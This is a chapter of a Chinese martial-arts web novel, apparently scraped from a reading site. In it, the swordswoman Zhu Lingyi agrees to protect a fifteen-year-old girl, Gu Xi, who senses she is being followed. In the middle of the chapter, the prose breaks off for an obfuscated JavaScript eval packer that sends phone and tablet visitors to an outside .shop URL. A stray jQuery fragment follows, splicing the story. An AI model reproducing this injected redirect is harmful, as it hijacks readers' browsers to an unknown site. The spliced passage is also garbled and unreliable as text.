第七十九章求助之人
天色擦黑,后罩房这边还人来人往的,大家伙儿白天一整天都在路上奔波,也就能趁着这会儿功夫把自己拾掇整理一番。
石掌柜的不在,朱令仪坐在充当“中厅”的一间屋子里,处理来队伍里的一天的杂事。
百十号人马,每天都有不少杂事儿,说重要不是很重要,却件件都得立刻处置了,不然可能就会变成大事。
屋子当中摆着一张老旧油腻的八仙桌,四把官帽椅,桌上头笨重的黄铜三枝莲花状的烛台点着三根小儿手腕粗的羊油白蜡,照得屋子通明瓦亮。
朱令仪微微低着头,心细地擦拭自己的长刀和短匕。
不管是否当日用过,她每晚都固定要擦拭和检查武器,即便是顶级武技者,熟知自己的武器也是必须的日常。
忽而,明亮的烛光轻轻跳跃摇曳,犹如三个美人曼妙起舞。
朱令仪视线从武器挪到门窗上,朝外头扫视了几眼,又垂眸继续手中的动作。恍惚中刀刃闪烁的寒光也带上一点朦胧的光晕。
“扣、扣”有人轻轻敲响门扉。
“进。”
吱呀,随着一阵淅淅索索的轻缓响动,朱令仪抬眼看着走来的一个婀娜女子,裹着银红缎面的大毛雪氅,雪帽低垂,把整张脸遮得几乎看不见。
她身前身后一步远处各有一个穿着棉裙的婢女,分别扎着雪青和湖绿的束腰,似是随时照看着。
朱令仪淡淡地看着她,没有说话。
这个时候来找她,总不会是要跟她秉烛夜话闲聊的。
那女子自己动手轻轻摘了雪帽,露出一张带着稚嫩的小脸,雪肤桃腮,明眸善睐,嗯,望之可以下饭的。
那姑娘谨慎地打量了下屋子四周,见只有她一个人,才示意丫头除了外头的大氅,行个福礼同时快速地瞄了朱令仪一眼,清脆带着些娇柔的声音道:“小女冒昧了,可是朱大侠在上?”
听声音,观外貌,这姑娘年纪不大,应该跟她差不了两岁。
朱令仪见她还算懂礼貌,并没有大户人家的傲娇之气,才应声点头:“正是本人,这位姑娘可是有事?”
虽然多此一问,还是要走个过场。
见此,那姑娘才大着胆子打量她一回,道:“小女姓顾,这么晚,打扰您了。”
朱令仪等着她的下文。
果然,顾姑娘面上略微挣扎了下,下定决心般,继续道:“请朱大侠宽谅一二,我这也是实在不知如何是好了,正巧听说您在这里,只好来求您了。”
说着,她深深行了一礼。
嗯,这是求人的态度。
朱令仪见她目光清正,神色虽然有些不属,但人还是没有慌乱,心里点头,这姑娘年岁不大,却不是个遇事就只知道哭的。
“请坐下说话。”朱令仪放下长刀,收起短匕,起身倒了盏温热的茶水推给她,“这是我自己在明阳山高处采的野茶,自己胡乱炒的,平时解渴用,顾姑娘凑合着尝尝。”
“冒昧问一下,你今年多大?”朱令仪看她有些些紧张,便跟她闲聊两句,缓缓气氛。
顾姑娘小口抿了一口茶,眼睛一亮,颇有些意外,然后小小松了口气,看着朱令仪微微倾身回答道:“您谦虚了,这茶很好的。对了,我今年十五了。”
然后,忍不住问:“那您呢?”
看样子,这姑娘在家应该养得骨子里有些胆色,没有闺中女子常见的畏缩之态。
“我也十五,咱们算同岁。”
一听朱大侠居然跟她同岁,顾姑娘立马眼里有光,睫毛忽闪忽闪地看着她。
“顾姑娘,你是一个人出门么?是遇到什么事儿了?”
朱令仪对她印象挺好,也难得遇到同龄的女孩子,不由说话也多了起来。
想想也真是的,自打到了这个世界,身边不是男子就是一些婶子和小媳妇,或者小丫头,能跟她平辈相交的女孩儿在东明县就没有,更别说一路奔波根本没什么多余的时机去交朋友了。
“虽然咱们萍水相逢,不过也算有缘份,你说吧,只要能帮的我尽量帮。”
“我叫顾晞,你叫我晞晞好了,”顾姑娘手指下意识地搅着手帕,想了想,叹道:“我一时都不知道怎么说好,之前说了别人都不信。。。。。。”
“没事儿,有什么晞晞从头说,我听听。本大侠跟别人肯定不一样。”朱令仪给她点信心。
顾晞姑娘果然受到鼓舞,若有所思地回忆道:“是这么回事儿,我前日从宜州出发回京都家里去。”
***
宜州不在朱令仪她们这一行人马的途径之地,同样,宜州离京都并不算远,只有不到三百里路。
顾晞的外祖家在宜州,顾晞从小到大也是常去的,今年秋天也是,去外祖家玩耍了一阵子,这要过年了才磨磨蹭蹭回家去。
倒不是她多野,而是女孩子十五岁之后就要议亲了,倒时候总往出跑,会让人家觉得不够稳重。
总之,束缚多多,所以,这次她就回程晚了些。
“头一天倒没什么,第二天的时候,我总觉得有人,嗯,怎么说呢,不是走过路过的那种人,看不到,摸不着,让人去找也没什么发现。可是我就是觉得背后汗毛都竖起来了。”
朱令仪试探道:“就是一种直觉,好像有人跟着,或者看着,尾随之类的么?”
“嗯嗯,对的,对的,就是这样,尤其是昨晚,你是不知道,我睡着睡着头皮发麻,有一种寒气窜顶的感觉,大半夜把自己吓醒了。
就昨晚,我喊奶娘和丫鬟,一个都喊不醒,好在我枕头底下放了把刀,我用刀柄使劲儿砸了奶娘两下,才把她砸醒了。”
“奶娘又把小绿摇醒,屋里屋外找了半天啥也没发现,还说我是不是做噩梦了。哼,我要是做噩梦,肯定也是她们没照顾好,不然好好的,谁做噩梦!”
“你这样很对。我们女孩子应该相信自己的直觉,这个直觉是可以救自己性命的,别
人信不信不要紧,主要是得找到问题所在。”
“对对,我也是这么想的,她们爱信不信,我自己可得小心着,今晚就是全都围着我,我都不敢睡了。”
她微微皱着眉头,“总感觉有坏事要发生在自己身上,又没有头绪。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13038247|130700||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
说着,她眼睛亮亮地看着朱令仪,“亏得先头小青看到你在外头走动,又听驿站的人议论说是朱大侠,可厉害了,是个女侠,我就大着胆子来求你了。”
朱令仪此时其实多少有些数了,不过还是问道:“你出门没带护卫么?他们怎么说?”
“带了,”顾晞扳着指头数,“有四个护卫,两个丫头,一个奶娘,还有个赶车的马夫。”
一个大家小姐,带八个随从,路又不远,按说配置还是可以的。
不过,这让人盯上了,护卫还发现不到,要么是护卫低能,要么是对方本事比护卫大。
“你的护卫可靠么?”这是朱令仪必须问的。
顾晞想想,认真地点头:“应该靠得住的,他们都是我祖父给的人,跟着我有五年多了。”
“你之前有没有过这种毛骨悚然的感觉?”
“啊?这,就是毛骨悚然的感觉吗?那,我肯定是第一次感觉。”
小姑娘还努力地品了品,摇头道:“以前我最多感觉眼皮跳一跳,这是头一次不好的感觉这么强烈。
强烈到如果我不做点儿什么,就肯定会有非常不好的事儿发生。
脑子里、心里都是这个念头,我必须想办法。”
“你很不错,这有这种直觉,必须行动起来,哪怕去找个衙门门前呆着,也比坐以待毙强。”
“行了,你的事儿我知道了,你回去该睡睡,该休息休息,我保证你今晚没事儿。你要是不嫌我的车队慢,赶明个就跟着我的车队一起走吧。”
反正一个羊是赶,一群羊也是赶。
关键是,她还有点喜欢这个小姑娘的。
六感敏锐、胆大、有成算,能做身边人的主。
嗯,这在十几岁的小姑娘里算是很不错了。
这样的人,她也乐意帮一把。
***
驿站前院一处屋子里。
顾晞已经摘下头饰,简单洗漱过。
她把哥哥送的那把锋利的匕首握在手里,匕首有刀鞘,不拔出来伤不到她。
两个护卫请示后,进来查看房间的门窗。
驿站的窗户冬天为了防止透风,在入冬前就都封死,并用绵纸糊了窗逢,根本不能开启,窗棱也都用厚实的绵纸糊了里外两层,并没有被戳破什么的。
一个护卫仔细查看了下房门,又趴在地上侧脸看了看,皱眉道:“门下的缝隙有点大,一只香肯定是塞不进来,但是如果从外头点燃,迷烟倒是可以从缝隙透进来,就是效果可能差一些。”
也是他们大意了,这两天小姐一直说感觉有人什么的,还说头皮发麻什么的,他们听了也查过,没查到什么就加强巡视。
直到昨晚奶娘和丫头都被半夜闹醒,奶娘也说丫头叫不醒,这就不大对了。
他们当晚查过一遍,没有迷香的痕迹,这是江湖常用的让人昏睡不醒的套路,但小姐自己却醒了,没有中迷香,就一时很难断定。
傍晚听说找了朱大侠,也觉得不对劲儿,他这才贴地上查找,这点儿疑点也许不是,但如果是的话,后果不堪设想。。。。。。